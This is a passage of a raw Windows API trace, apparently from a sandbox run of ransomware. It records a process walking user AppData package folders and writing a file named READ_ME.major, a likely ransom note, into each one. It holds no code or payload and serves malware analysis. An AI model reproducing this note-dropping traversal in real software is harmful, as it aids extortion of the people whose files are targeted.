ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33442, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.512] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.512] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.513] CloseHandle (hObject=0x998) returned 1 [0191.513] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d33caa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.513] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.514] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.515] CloseHandle (hObject=0x998) returned 1 [0191.515] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34378, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.517] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.518] CloseHandle (hObject=0x998) returned 1 [0191.518] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34794, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.518] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.518] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.519] CloseHandle (hObject=0x998) returned 1 [0191.519] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245961a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x245961a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.519] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2d34ce1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.520] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.520] CloseHandle (hObject=0x998) returned 1 [0191.520] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713d778b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.521] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.522] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.523] CloseHandle (hObject=0x998) returned 1 [0191.523] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77c3f1ef, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x77c3f1ef, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x77c3f1ef, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.523] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.524] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.525] CloseHandle (hObject=0x998) returned 1 [0191.525] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2dc905d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.MiracastView_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.miracastview_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x998 [0191.525] WriteFile (in: hFile=0x998, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.526] CloseHandle (hObject=0x998) returned 1 [0191.526] FindNextFileW (in: hFindFile=0x2f869e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c13db32, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2dc905d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9c13db32, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.526] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f868e8 [0191.526] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.526] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3170f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.527] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.527] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.528] CloseHandle (hObject=0x99c) returned 1 [0191.528] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e31e63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0191.528] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.529] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.529] CloseHandle (hObject=0x99c) returned 1 [0191.529] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e32663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0191.530] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.531] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.532] CloseHandle (hObject=0x99c) returned 1 [0191.532] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e3325d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0191.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.533] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.534] CloseHandle (hObject=0x99c) returned 1 [0191.534] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245961a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x245961a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0191.534] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e342c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0191.534] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.535] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.536] CloseHandle (hObject=0x99c) returned 1 [0191.536] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x713d778b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x713d778b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0191.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.538] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.603] CloseHandle (hObject=0x99c) returned 1 [0191.604] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715dffc9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x715dffc9, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x715dffc9, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0191.604] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.605] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.605] CloseHandle (hObject=0x99c) returned 1 [0191.605] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e8650f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0191.606] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Windows.PrintDialog_cw5n1h2txyewy\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.printdialog_cw5n1h2txyewy\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x99c [0191.606] WriteFile (in: hFile=0x99c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0191.607] CloseHandle (hObject=0x99c) returned 1 [0191.607] FindNextFileW (in: hFindFile=0x2f868e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cdd849c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2e8650f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9cdd849c, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0191.607] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f86a68 [0191.607] FindNextFileW (in: hFindFile=0x2f86a68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3af37fe8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x245961a1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0191.608] FindNextFileW (in: hFindFile=0x2f86a68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3b14e24d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b14e24d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0191.608] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows_ie_ac_001\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows_ie_ac_001\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 